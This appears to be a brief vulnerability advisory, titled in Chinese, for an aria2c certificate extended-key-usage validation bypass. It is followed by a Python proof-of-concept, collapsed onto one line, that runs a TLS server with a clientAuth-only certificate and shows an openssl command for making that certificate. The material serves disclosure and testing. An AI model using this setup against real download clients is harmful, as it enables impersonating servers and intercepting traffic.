CVE-2026-8367 aria2c EKU证书验证绕过漏洞

# Conceptual PoC to test EKU validation in aria2c # This script demonstrates the logic of testing the vulnerability. # It requires generating a certificate with incorrect EKU. import subprocess import socket import ssl # Step 1: Attacker generates a certificate with 'clientAuth' EKU (not 'serverAuth') # Command (conceptual): # openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -nodes \ # -addext "extendedKeyUsage=clientAuth" def setup_malicious_server(): # Create a simple SSL context using the 'wrong' certificate context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # Load cert intended for client auth only context.load_cert_chain('cert.pem', 'key.pem') with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: sock.bind(('0.0.0.0', 443)) sock.listen(5) with context.wrap_socket(sock, server_side=True) as ssock: print("Server listening with clientAuth certificate...") conn, addr = ssock.accept() print(f"Connection accepted from {addr}") # If aria2c connects here without error, the vulnerability is confirmed conn.send(b"HTTP/1.1 200 OK\r\n\r\nExploit Success") conn.close() print("Note: To execute this PoC, generate 'cert.pem' with EKU=clientAuth first.") print("Then run this server and try to download from it using aria2c.")